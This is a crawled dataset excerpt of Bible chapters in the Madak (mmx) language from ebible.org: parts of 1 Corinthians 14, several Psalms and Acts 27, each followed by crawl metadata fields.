xopmen na paase ri limixin, ketla i paase ri ne Moroa, la kopmen tara na xasep nunuan at levempapaase neni i paase min. Neni i ngan ta do i paase mi levelinga lipe boro at loroonan teren la levempapaase ren ixo xasep at levendoxoma at limixin. 3 Ketla mo laradi i paase asu levelinga at ne Moroa, ni i paase ri limixin, la kerepmo bok i lok tooro di, la i lox alolos di, la i lox aulis levendoxoma atdi. 4 Laradi i paase mi levempapaase vetpes, neni i lok tooro xusuk mene i. Ketla lara i paase asu levelinga at ne Moroa, ni i lok tooro limixin axap kusu lununu atdi naba lolos.\n5 * Kex 11:29I lox avukat do nemi axap mina paase mi levempapaase vetpes, ketla lavanga i silok ti na. A vara i do nemi axap mina lok ka laramtaba ri paase asu levelinga at ne Moroa. Laradi do i paase asu levelinga at ne Moroa, mo levelinga ren i mumuat aleng ti lara i paase mi levempapaase vetpes, la mo levelinga ren i epovo na xasep ti limixin. Ketla i lox avukat mene do tara go i nemen la i ruuna bok laramtaba boro at Loroonan Kaala xusu ti soxomus avukat lavasuun ap mo levempapaase vetpes, kusu na lok tooro limixin at lotu.\n6 Kuren la luvutnetak mi luvurinuk, do nenia ana vot pasa nimi la ana paase rinimi mi levempapaase vetpes, mo lavapaase rak naba lok tooro nimi xereva? Kopmen tinotno. Ketla do ana tong asu levelinga boro at ne Moroa rinimi kopla ana raba nemi mi tavapaase axasep at Lovoang Kaala, kopla ana vavang tinimi mi levempapaase ali, kopla ana anasa nimi, nom i naba lok tooro aleng nimi.\n7 Lavapaase poovo mumu i na, i lok keretna. Mina doxoma mumu be levempanga rengteng i ngan laxaatu dit mas i la loxontaaleng dip sev i. Do laradi xopmen nat mas avukat laxaatu, ataba ronga xibis mo loxompixan kereva? La do lara ip sep loxontaaleng, la kopmen nap sep avukar i, ataba ronga xibis mo loxompixan kereva? 8 La mo do laradi it mas luru ri leesep la kopmen na mas aonon avukat lerengteng teren, limixin esep di noxo gagas avukat ti leesep. 9 La i lok mun kuren tinimi. Do mina tong asu levelinga at ne Moroa mi levempapaase vetpes, kopmen tara naba xasep nunuan teren. Levelinga atnimi naba ngan lamamas gamasa. 10 Buaang laxampapaase axap at na lavatbung menemen, la na levempapaase axap, levempasuun mo ren i nemen. 11 Ketla mo do nia xopmen anaklen lavapaase lara i vaase asu i, mo laradi i paase na levelinga, naba lok ngan laradi xadiong tia la nenia bok aba lok ngan laradi xadiong tin. 12 La i lok bok kuren tinimi. Nia aklen i do nemi mi vara aleng i xusu mina ruuna ka leventamtaba at Loroonan Kaala. Kuren la mina lolos kusu mina lok kaka leventamtaba i epovo xusu ti su auru lotu.\n13 Ni lavasuun teren la do laradi i paase mi levempapaase vetpes, neni na sing bok ne Moroa ri laramtaba xusu ti soxomus avukat lavasuun ap mo levempapaase vetpes. 14 Dola nia ana sing mi levempapaase vetpes, mo levelinga i ravasu at loroonan tarak, ketla mo levelinga xopmen na xasep at lodoxoma rak.\n15 * Ep 5:19Kuren la nia aba lok ba lavanga salai? Do nenia a sing saparap ne Moroa, a vara i xusu lisingising tarak na ravasu at loroonan tarak la naba ravasu bok at lodoxoma rak. La a vara box i xusu mo levengkompixan abak pixan i, naba ravasu at loroonan la at lodoxoma bok tarak. 16 Do mina emi asu mi ne Moroa mi levempapaase vetpes boro xeneng at loroonan kusuk mun atnimi, la do taradi go xopmen na lotu i nemen eburu minimi ap mo lixitkis buru, la neni ixo xasep at levempanga salai mo mi paase asu i. La ni naba tong i do \"I ruturun!\" kereva, do mina lox axap lisingising loklox avukat atnimi? 17 Keke i do lisingising loklox avukat atnimi ri ne Moroa mo i lox avukat, ketla nom lisingising atnimi xopmen noxo lok tooro mo laradi vetpes.\n18 Nenia a tong avukat ti ne Moroa mila a paase aleng mi levempapaase vetpes, la nemi kopmen. 19 Ketla to at levempotpot buru at limixin keneng at lotu, i lox avukat do ana tong mene tavalimo tengkolinga i xasep kusu ti lox ase limixin. Ixo lox avukat do ana paase mi taxalinga solo at levempapaase vetpes la kopmen na lok tooro limixin.\n20 * Ep 4:14; Pl 3:15Luvutnetak mi luvurinuk, nemen levendoxoma atnemi na lok ngan loklok at laxamdak lixilik, ketla mina ke xepe laxakapmek kerekngan laxamdak lixilik. La mina doma mumu avukat na leventamtaba ngan limixin mukun. 21 Keneng at Laulis Linga i lok keretna,\n\"Moroa ga lok, 'Nia anaba paase ridi na limixin tarak mi levempapaase vetpes at limixin kadiong, la anaba paase ridi mi levelinga at limixin kadiong, ketla di noxo ronga res tarak.' \" Ais 28:11,12\n22 Kuren la laramtaba ri paase mi levempapaase vetpes ni i lox asuvos ne Moroa ridi limixin kopmen dina nunu la kopmen tidi limixin di nunu. La laramtaba ri tong asu levelinga at ne Moroa i nemen ti limixin teren, la kopmen tidi limixin kopmen dina nunu. 23 * Gu 2:13Mo do limixin lotu axap dina vot buru la nedi axap dina ruka i do dina paase mi levempapaase vetpes la do tentaba tuvuttadi gamasa go kopla tuvuttadi xopmen dina nunu, dina vubeles, nedi diba nua i do nemi mo mi baulang. 24 * Jo 16:8Ketla mo do mina paase mi levelinga at ne Moroa la do luvuttadi gamasa xopla tuvuttadi kopmen dina nunu, dina vubeles ukeneng, nedi dinaba ronga xibis mo levelinga nedi di ronga i. La mo levelinga nedi di ronga i, naba vuk gili lodoxoma atdi, 25 * Ais 45:14; Sak 8:23; Jo 4:19la dinaba ven kibis levempanga xakapmek i nemen keneng at lorooro atnedi. At na mun i loklok dinaba xis tiktikbu la dina lok ngangao ri lotu saparap ne Moroa. La dina tong asu i do, \"I ruturun tinotno, Moroa i nemen eburu minimi.\"\nLoklok Ti Mumu Asu I\nXeneng At Lotu\nXeneng At Lotu\n26 * 1 Ko 12:8-10; Ep 4:12Luvutnetak mi luvurinuk. Ti lox axap na levelinga rak a vara i xusu ana tong axasep nimi keretna. Do minat pot buru ri lotu, lara na ruuna loxompixan. Lara ri loklox ase mi levelinga at ne Moroa. La lara mi levelinga loklox axasep boro at ne Moroa, la lara ri levempapaase vetpes, la lara ri soxomus mo levempapaase vetpes. Na levempanga axap mina lox i xusu ti lox alolos limixin at lotu. 27 Do tentaba di lok do dina vaase mi levempapaase vetpes, nemen dita epaase at legeso xonaleng, ketla dina epangan asu. I lox avukat do tegepura xopla tavantun mene dina vaase. La tara vetpes bok naba ba gili mo levempapaase vetpes. 28 Ketla do xopmen tara go i nemen kusu ti soxomus lavasuun ap mo levelinga, i lox avukat do, mo laradi i paase mi levempapaase vetpes, nat kis atnaasan la ni na emaangun pilo mene mi ne Moroa.\n29 * Gu 17:11; 1 Ts 5:21Legepura xopla lavantun mo dira gagas pam kusu dina vaase asu levelinga at ne Moroa, la lentaba vetpes dinat kis atnaasan la dina ila mumu mo levelinga do ni levelinga ruturun pam at ne Moroa xopla xopmen. 30 Ketla do tara go it kis ap mo lixitkis buru i lok ka tevelinga boro at ne Moroa, mo lara i paase, neni na vamngus be. 31 Ixo epovo do nemi axap mina vaase asu levelinga at ne Moroa at legeso xonaleng. Mina epangan asu xusu nemi axap mina elox ase la mina elok tooro ela. 32 La nedi di ruuna laramtaba ri paase asu levelinga at ne Moroa dina lok tatao avukar i, 33 la kerepmo lotu atnimi nabak sixit nunuan. Mina lox i xuren mila ne Moroa ga xuruse kaka dik kopmen do rik lox angtang gamasa. Ketla ni ga xuruse kaka dik kusu lotu atdik nabak sixit nunuan, atla neni ne Moroa at limila.\nTo at laraogu lotu at limixin at ne Moroa, 34 * 1 Ko 11:3; 1 Ti 2:12; Ta 2:5lavakin dinat kis pilo ro xeneng at levempotpot buru at lotu. Kopmen nak mokso ridi do dina paase. La di noxo gomgonga, kerekngan Laulis Linga at ne Moses i tong i. 35 Mo do lavakin di vara i xusu dinaklen ka tavanga, i lox avukat do dina sue be lavatlok atdi min to at laraogu atdi. Lavanga mamangan aleng do latkin na vaase kaxat to xeneng at lovotpot buru at lotu.\n36 Kereva, levelinga at ne Moroa ga vas kaxat medom atnimi? Kopmen. Kereva, nemi xusuk miga lok kaka levelinga at ne Moroa? Kopmen.\n37 * 1 Jo 4:6Mo do tara i doxoma i do neni laradi vavang at ne Moroa xopla i ruuna laramtaba at Loroonan Kaala, neni na ven kisiv i do na levelinga rak nia a malagan i, ni levelinga lolos at Leeme Silok. 38 Ketla do xopmen dina ven kisiv i do na levelinga rak boro at ne Moroa, nemen mita ronga res at levelinga ren.\n39 Kuren la luvutnetak mi luvurinuk, lebelen nimi na ngaongao xusu mina paase asu levelinga at ne Moroa, ketla nemen mita rupe tara i ruuna laramtaba xusu ti paase mi levempapaase vetpes. 40 * Kl 2:5Ketla levempanga axap minak lox i mi lomokmokso xusu lotu nak sixit nunuan.\n*14:5: Kex 11:29","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/1CO14.htm","date":"2022-05-29T12:26:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662644142.66\/warc\/CC-MAIN-20220529103854-20220529133854-00226.warc.gz","language":"mmx","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 1.000009536743164}","num_words":1563,"character_repetition_ratio":0.118,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"40\nLoxompixan Emi Asu\n1 Nia aga ngangais atnaasan ti loklok tooro at Leeme Silok tia. La ni ga ronga bok lanteng tarak la ga ronga res tarak. 2 Ni ga sar asu ka ia at lemeroon kapmek, la ga sar asu xaka box ia at lububura. Ni ga vaxaru li avukar ia ro vana at luuat kis silok kusu anat pas avukat la anoxo marat at tempanga. 3 Ga lox ase ia rik pixan loxompixan maxat, loxompixan emi asu ri ne Moroa atnedik. Buaang nedi limixin dinaba ven kibis lolos teren, dina sangu aleng la dina ii doxoma la dinaba nunu saga at Leeme Silok.\n4 Lomomo rinedi di nunu saga at Leeme Silok, la rinedi bok kopmen dina repukus mu laxampoovo moroa, kopla dina nemen eburu minedi di lotu saparap laxanmoroa xaxarang. 5 O Leeme Silok, nenu ne Moroa atnema. Buaang laxampanga avukat ugara lok pam i rinema. Kopmen tara i nunuan polo u! Ugara lox asuusu vam buaang lempanga sangsangu nunuan tinema. Ixo epovo xusu nia ana tong ampana leexes atdi atla mo levempanga i umsu aleng!\n6 Nenu uxo vavara solo ri levelaplavang mi leventamtaba, nenu uxo ngising ti levempanga mi lavanuet kangkedek kusu mana kotos asonao i ro vana at loxonin laplavang, kopla ri levelaplavang ti ves kepe laxakapmek. Ketla uga raba ia mi lubaalung ting tonga res taram. 7 Kuren la nia aga lok tu xeretna, \"Nenia nga na, levelinga mumu ia i nemen keneng at Laulis Linga.\" 8 Moroa rak, a vavara mene i xusu ana gugu mu asu mun lavavara ram! Levempanga axap uga lox ase ia min, i nemen keneng at labalak.\n9 O Leeme Silok, to melamgo at lovotpot buru at limixin axap taram, nia aga vaase asu lagale lavavang dola uk lox asepsu nema limixin taram. Nu uklen i do nia anoxo vamngus ti tong asu i. 10 Agoxo vam luxun kaka lagale lavavang ti loklok tooro ria xusuk. Nia a tong asu amisik pam i do uk lok tooro limixin la uk lox asoorun levelinga ram tidi. Kopmen agoxo vamngus ti tong asu lixitkis esogo mi labalamu lexen taram to melamgo at lovotpot buru at limixin taram. 11 Leeme Silok, nia aklen i do lebelen tuntun taram tia noxo xap. Labalamu mi loklok tatao tuturun taram naba kok avukat amisix ia.\nLisingising Ti Loklok Tooro\n12 Laxanmumuat solo i tu xangkan ia la nia xo epovo xusu ana exes ampana di! Laxaloklok kakapmek tarak i sak pavaa rino ia, la axo epovo nga ri milik kadas. Di volo aleng ti leexes at levengkabinim at lavatlak tarak, la labalak i doma abulubun. 13 Leeme Silok, una lox asepsu ia! Lok tooro nga ia na! 14 Nedi nom di lok do dina sev amer ia, nia a vara i do una sak tup midi, la una lox ekarakat tinotno di. Nedi nom di momo atla laxanmumuat i sak pavaa ia. A vara i do una xala xepe di la una lox amangan di. 15 Nedi nom di lok kalise ia, una lox amangan tino di mumu loklok di lox i ria.\n16 Nia a vara i do nedi di repukus taba u, dina momo la dina sosoro. La nedi nom di tong loklox avukat ti loklok tooro amisik, dina tong i do, \"Leeme Silok i nunuan aleng pologat.\"\n17 O Leeme Silok, labantuxu rak ira xat molos axap la arat kis banbalo nga, ketla kopmen una doxomampe ia. Nenu Laradi Loklox Asepsu rak, la nenu ne Moroa rak. Una lok tooro soso mun ia!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA040.htm","date":"2022-05-16T11:59:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00498.warc.gz","language":"mmx","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000089406967163}","num_words":566,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.214,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"110\nLeeme Silok Mi Loorong Soksoxolik Teren\n1 Leeme Silok ga vaase ri leeme silok tarak keretna, \"Unat kis de saparap lakngak tino, se nenia ana lok li limixin munepen minu na ngan loxot burubut ti luxangkedek taram.\" 2 Leeme Silok naba lox asilok mo lixitkis amgomgo ram naba ruka i ro Saion. La unabam gomgonga nedi limixin munepen minu. 3 At levenaleng at leesep limixin esep taram diba xulubi aleng kusu ti esep. La no mun at lenmaxantamak suubu, luvuraau radi ram dibat pot pasa u ro vana at lempatkaana i xaala.\n4 La Leeme Silok gara xaape vam la kopmen noxo lox ekun bok ba lodoxoma ren. Neni ga lok keretna, \"At levenaleng axap i tu melamgo nenu unaba nemen amisik ngan lamaasa kerekngan ne Melkisedek.\"\n5 Leeme Silok mo i tu at lenep taram ti lok see ram, la neni naba vas adamda lavaorong silok ap mo laaleng neni naba lox asuusu lebelemamao ren. 6 Neni naba viila mumu loklok at larabung mixin axap, la naba lili bubua lenbantuxu at limixin ni ga sev amet pam di, la na sak tup mi limixin amgomgo at lavatbung menemen axap. 7 Loorong naba in dan to at ladan sen saparap langas ti lox alolos amu i. Kuren la neni naba sak tup mi limixin munepen axap teren.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA110.htm","date":"2022-05-24T09:57:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662570051.62\/warc\/CC-MAIN-20220524075341-20220524105341-00726.warc.gz","language":"mmx","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.0000089406967163}","num_words":210,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.257,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"51\nLisingising Ti Doxoma Xepe Libilinga\n1 O Moroa, una lox asuusu lebelen tuntun taram tia, mumu nom labalamu lexen taram. Una ves kepe leveloklok kakapmek tarak atla nenu u umsu mi langsangan lebelemulus. 2 Una gos kepe axap libilinga rak la una lox amaxar ia basinge leveloklok kakapmek tarak!\n3 Nia ara ven kisip pam i do lavasuun teren atarak. La aklen amisix i do nenia lavanga bilinga. 4 Nia agara lok pam libilinga ru, tu xusuk mun la aga lok lempanga ua nenu u tong i mi laxakapmek. Kuren la ik mokso do una ila mumu lorooro rak, la ik mokso bok do una tong i do nenia laradi xapmek. 5 Nia aga xapmek, tuka xa i at laaleng diga visix ia ren. Kovisi ne naga ga visix ia nia agara xapmek pam.\n6 Nenu u vavara limixin kusu dina umsu mi lununuan mi levelinga ruturun taram. Una suxa aumsu lodoxoma rak mi lodoxoma avukat taram. 7 Una ves kepe libilinga rak, kusu nia ana dadat. Una gos amaxar ia, kusu nia anaba dadat ngan labantamon bunbun tino. 8 Nia a vara i xusu ana ronga limixin dina lok momo mi leklek. Keke i do ugara lox asi aleng pam ia, uga lox amenemen pam lodoxoma rak, nia anaba momo manga. 9 Una vampe luxatli ram kusu unoxo ven libilinga rak, la una ves kepe axap laxakapmek tarak.\n10 O Moroa, una lox amaxat labalak, la una lox aumsu lorooro rak mi lodoxoma maxat mo ik mokso la i ruturun tu. 11 Nemen gat uta sok gingin kepe ia, lavanga ana nemen paxalom basinge u. Nemen bok uta lok kepe Loroonan Kaala ram basinge ia. 12 Una raba amlong manga ia mi nom lomomo at loklok tooro ram, la una lok lodoxoma rak kusu ana vavara ri ronga res taram. 13 Melemu nia anaba lox ase limixin kapmek mi leventaangas taram, la dinaba rem gili bilong mu u.\n14 O Moroa, una lok tooro ia xusu nia anoxo met atla nenu Laradi Loklox Asepsu rak. La nia anaba tong asu ba loklok manmanton taram mi lomomo. 15 Una siam do ana vaase asu lavapaase emi asu ru, la nia anaba emi asu minu.\n16 Nenu xopmen una vavara ri leventaba lempanga mabap lavang min. La kopmen bok una lok momo mi levempanga ma kotos asonao i ru. Kuren la anoxo raba u mi levelaplavang. 17 O Moroa, a lox akalix ia la a nemen maxopok taram. Nom i ni laramtaba rak tu. Nia aklen i do, nenu uxo epovo una sok sisixe laradi i lox akalix i maxopok taram la i ven kibis libilinga ren.\n18 O Moroa, una balamu limixin me Saion la una lok tooro di. Una ii aurut amu levenngas uat to Jerusalem. 19 Kuren la unaba lok momo mi levelaplavang atnema manaba xotos axav i ru kerekngan uga tong i. La leven bulumaxao temes manabap lavang min tu rovana at loxonin laplavang taram.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA051.htm","date":"2022-05-16T05:44:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00370.warc.gz","language":"mmx","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"mmx_Latn_score\": 1.0000057220458984}","num_words":469,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"27\nLimixin Esep Diga Lok Ka\nNe Pol Uto Rom\nNe Pol Uto Rom\n1 * Gu 25:12Lavaeme silok diga tong li levelinga rinama xusu mana sen kaxat mi lavatmon uto Itali at lemenemen silok Rom. Diga lok ka ne Pol la lentaba limixin kokoxo bok uto saparap ne Julias, neni laasesep at limixin esep boro Rom. Diga tong nedi do, \"Limixin esep at ne Kaisar.\" 2 * Gu 19:29Nema mi ne Pol maga los kas at lavatmon boro Adramatiam, mo ga gagas kusu na sen kaxat uto at levesoolom at lenep silok Asia, la maga sixit kaxat. Aristakas, neni boro Masadonia at lemenemen Tesalonia, neni ga emu eburu minema.\n3 * Gu 24:23Ap mo lara laaleng melemu maga rupot to Sidon. Julias gak lok loklox avukat aleng ti ne Pol la ni ga siam ti ne Pol kusu ni nat pas la na ven larapen tangas teren, kusu dina raba i mi levempanga salai neni gak pakes tin. 4 Maga sen kaxat basinge mo lenep, la maga sesen uto melemu ap mo losoxan Saipras kusu lamanman noxo mas tangarang lavatmon. 5 Maga volo laras saparap lenep Silisia la Pampilia, la maga vot to Mira at lenep Lisia. 6 Mo go laasesep ga ronga i do lara lavatmon boro Aleksandria mo ga lok do na sen kaxat uto Itali. Kuren la ni ga lox aurut nema uto vana ren. 7 Maga sesen sila at laxanaleng buaang, ga lolos aleng tinama xusu mana sesen saparap lemenemen Kinidas. La ma goxo lox epovo i xusu mana mu mo lenep tas mumu langsangan lamanman. Kuren la maga sesen epopolo uto melemu at losoxan Krit, maga volo lungusungus laasen teren Salmoni. 8 Maga sesen auret tinotno ro loxon, la lavatpas ga lolos aleng. Ketla maga vot to at lara loxot diga tong i do Losoolom Avukat. Goxo vaxalom bok boro at lemenemen silok Lasia.\n9 Maga nemen at lentaba levenaleng mo go, ga lolos tinotno rinama ri sen mi lavatmon, mila leven gaaling at lamanman ga rupot pam la laras ga tepit aleng. Laaleng at ne Moroa ti mun anan no gara volo vam, neni laaleng ga lok katling laxakatu kaxat at leven gaaling at lamanman. Kuren la ne Pol ga vaase aronga di. Ni ga lok keretna, 10 * Gu 27:22\"Nemi limixin, a ven i do lavatpas atdik mede la uto, naba lok kapmek tinotno. Langsangan lumumuat naba vot saparap lempanga atdik la ti lavatmon bok, la ti lorooro bok atdik.\" 11 Ketla laasesep ga mumu asu levelinga at laradi gang tanga lisitia ap mo lavatmon la at laradi gam gomgo ap mo lavatmon, la kopmen ni goxo nunu at levelinga at ne Pol. 12 Mo losoolom kopmen goxo lox avukat tinama xusu mana nemen teren ap mo leven gaaling at lamanman. Kuren la buaang atnedi diga lok do dina sen kaxat mi lavatmon la dina sen epopolo uto Pinisia mo do dina epovo. Ni lara losoolom to Krit ga nemen alipe at lamanman la diba nemen go at leven gaaling at lamanman.\nLangsangan Lamanman Ga Rupot To At Laras\n13 Lamanman kakalik borou ga mas kaxat, la limixin diga lok do naba lox avukat mun mo lavatpas atnedi. Kuren la diga rep aurut laaga la diga sen auret tinotno ro loxon at losoxan Krit. 14 Ketla soso mun mo lamanman lolos ga mas kaxat boro at losoxan. Limixin diga so asen mo lamanman mi lamanman silok borois mero xopok. 15 Ga mas lolos mo lavatmon la lavatmon goxo epovo xusu na sixit tangarang mo lamanman. Maga molo ri lok tong pen i la maga ke xepe i la lamanman gat mas aonon lavatmon atnama. 16 Maga sesen alipe ro melemu ap mo losoxan kakalik, laasen teren Koda. Ga lolos aleng kusu mana lok li avukat lesepang kakalik mo maga sasar i go melemu at lavatmon. 17 Maga xip aurur i la maga dos alis lavatmon mi lempatkua. Diga marat aleng mila lavanga dina sixit mavana at laxangkaneng to at lenep Libia la lavatmon na reporok. Kuren la diga lox asi laaga ap mo lavatmon la maga ke lavatmon, lamanman gat mas aonon gamasa i. 18 Mo langsangan lamanman ga lolos aleng tinotno. Kuren la ap mo lara laaleng melemu diga lok kaxar i xusu dina lu asi mi lempanga go vana ap mo lavatmon ukopok ti laras. 19 La ap mo manga lara laaleng melemu diga lu asi mi lempanga gugu ap mo lavatmon. 20 Buaang laxanaleng ma goxo ven laxangking mi laxampenti. La lamanman mo gat mas lolos aleng, maga nua i do nema axap ma noxo roo su.\n21 La buaang laxanaleng mo limixin di goxo anan la ne Pol ga ru ro melamgo atdi la ga lok, \"Nemi loxongkulao, nemi mi goxo mumu asu levelinga rak la taga sen kaxat boro Krit. Do mi gita ronga res tarak, dik gixo ekip tangarang mi na lumumuat. 22 * Gu 27:10,31Ketla na a sing nimi do mina lolos! Kopmen teta atnimi naba met. Ketla lavatmon kusuk mun naba lok kapmek. 23 Nia aklen i na mila at laxanimin laangelo boro at ne Moroa no nenia ateren la a lotu saparav i, i vot pasa ia. 24 * Gu 23:11La i lok tia xeretna, 'Pol! Nemen uta marat gat. Unaba tu ro melamgo at ne Kaisar, la ne Moroa i balamu nimi la i siam pam do nedi axap at lavatmon dinaba roo su.' 25 Kuren la nemi limixin mina lolos mila nia a nunu at ne Moroa do ni naba lox epovo lempanga xerekngan ni i tong pam i ria. 26 * Gu 28:1Ketla lamanman naba rev aoso lavatmon uto loxon at lara losoxan.\"\n27 At laxanimin at laaleng sev asangaun mi lavanuet at lamanman gap kiv aonon nema ro at laras Adaria. At laxanimin tubu luvuttadi loklok tatao ap mo lavatmon diga nua i do nema mo maga sesen auret ta uto loxon. 28 Kuren la diga lu asi mi luxua, losoxovo ga nemen teren la maga long lenger i do mo laras ga epovo at legesa sangaun kobot mi legepu sangaun (120) lababaalom teren ukopok. Melemu xakalik diga soxovo manga i la diga long lenger i do ga vasik sangaun (90) lababaalom teren ukopok. 29 Diga marat aleng mila lavatmon naba ebaa ro at laxanuat. Kuren la diga lox asu lavanuet lemparaga ro melemu at lavatmon la maga sing kusu laxangking na losu.\n30 Luvuttadi loklok tatao ap mo lavatmon diga lok do dina sixiro basinge lavatmon. Diga lox asi lesepang kakalik uto xopok at laras la diga lok poovo i do dina lok li laxanaga ro melamgo ap mo lavatmon. 31 * Gu 27:22Ketla ne Pol ga lok ti laasesep eburu mi limixin esep keretna, \"Mo do na luvuttadi loklok tatao di noxo nemen de vana at lavatmon, nemi xopmen mi noxo roo su.\" 32 Kuren la limixin esep diga ra korop luxua no gang tanga mo lesepang lixilik la ni ga sen su basinge di la uto nga.\n33 Laxangking mo ga lok do na losu nga, la ne Pol ga sing nedi axap kusu dina an tempanga anan. \"Migak lok bukbulu la miga nemen gamasa at lasangaun mi lavanuet aleng ta, la at na axap levenaleng mi goxo anan tempanga anan. 34 * Mt 10:30A sing nimi, do monga mina an tempanga anan. Mik pakes tin kusu kopmen tara atnimi noxo met la kopmen tara atnimi noxo seeve.\"\n35 * Mt 15:36; 1 Ti 4:4-5Melemu at na lavapaase ren, Pol ga lok ka lengkongkide, la ga tong avukat ti ne Moroa ro melamgo atnedi axap, la ga sebex i la ni ga an kaxat. 36 Diga lok ka lolos at levelinga at ne Pol, la nedi getgesara bok diga an bok lempanga anan. 37 Leexes atnama ga epovo at legepu sangaun kobot mi lavanuti sangaun mi lavanna (276) mo maga nemen go vana at lavatmon. 38 Melemu atnedi diga an mais, diga lu asu mi laxampiao uto xopok ti laras kusu lavatmon naba balalak.\n39 Laxangking ga losu la luvuttadi loklok tatao ap mo lavatmon di goxo ven kibis mo losoxan. Ketla diga ven lara losoolom mi laxangkaneng teren la diga doxoma i do, mo i epovo, diba sen oso mi lavatmon atdi uto at laxangkaneng.\n40 Kuren la diga ra korop asu lemparaga la diga ke nedi diga dong si ukopok at laras. La ap mo mene loxonaleng diga soxomus lara kua no diga xoxo alis mo lisitia min. Diga lox aurut labantamon to melamgo at lavatmon kusu lamanman naba mas aonon lavatmon, la na sen epopolo uto loxon. 41 Ketla lavatmon ga so ru ro mavana at laxangkaneng, la ga xis tino nga, no melamgo at lavatmon ga ebaa la goxo epovo ri sen bilong uto melemu la lara paxanao ga saava vovorok axakalik mo lavatmon.\n42 Limixin esep diga lok lodoxoma xusu ti sev amet luvuttadi xokoxo, kusu di noxo box oso uto loxon la dina sixiro. 43 Ketla laasesep ga vara i xusu na lox arooro ne Pol, kuren la ni ga vaase vepe di do nemen di guta lox i mo. Ni ga tong i rinedi digakleklen ti xobok kusu dina losu boro at lavatmon la ukopok la dina box oso uto loxon. 44 * Gu 27:22-25La nedi di goxo epovo ri xobok, diba mumu mi lengkonuna ga tepovorok ap mo lavatmon. La kerepmo nema axap maga rupot avukat to loxon.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/ACT27.htm","date":"2022-05-27T00:13:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662627464.60\/warc\/CC-MAIN-20220526224902-20220527014902-00665.warc.gz","language":"mmx","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 1.0000079870224}","num_words":1489,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"98\nMoroa Ni Lamgomgo At Lavatbung Menemen\n1 Mina vixan toxompixan maxat ti Leeme Silok. Neni gara lok pam lempanga maraanu! Neni gara sak tup mi limixin munepen mi lolos kaala axa ren. 2 Leeme Silok ga vaase asu i do ni ga sak tup mi limixin munepen min. La neni ga vaase aronga larabung mixin axap mi mo lolos teren ti lox asepmus limixin. 3 Neni ga lox epovo laxakaape ren ti limixin me Israel la i ruturun amisik tidi la ik lox asuusu labalamu lexen tidi. Limixin at lengkot axap digara ven pam ne Moroa atnedi ga sak tup mi limixin munepen min.\n4 Nemi axap limixin at na lavatbung menemen, minak pixan sosoro ri Leeme Silok. Mina emi asu rin mi lempixan la luxupkup sosoro! 5 Minak pixan mi lengkompixan emi asu ri Leeme Silok! Minak sak lerengteng maraanu ro at lempat taaleng! 6 Minat mas lempat tu mi lengkongkidi, la minap kup mi lososoro ri Leeme Silok, ni Loorong Silok atdik.\n7 Laras eburu mi lempanga dik lok keneng taram, mina vaas mi luxupkup. Lavatbung menemen mi lempanga axap dik lok mavana ram, minak pixan! 8 Laradan sen, mina pasa leventingen nimi. Lengkong kaana, minak pixan eburu mi lososoro at lemeren Leeme Silok, 9 atla i vot kusu nam gomgonga lavatbung menemen. Neni nabam gomgonga limixin at lavatbung menemen mi lodoxoma mokmokso la levelinga ruturun.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA098.htm","date":"2022-05-20T01:07:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530553.34\/warc\/CC-MAIN-20220519235259-20220520025259-00021.warc.gz","language":"mmx","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000007152557373}","num_words":219,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"105\nMoroa Ga Lok Tatao Limixin Teren Me Israel\n1 Nedik ata tong avukat ti Leeme Silok, ata tong asu laasen silok teren. Ata tong axasev i ri levenabung mixin buaang, mumu lempanga sangsangu neni ira lok pam i. 2 Atak pixan emi asu ri Leeme Silok. Ata tong asu lempanga nunuan neni ira lok pam i. 3 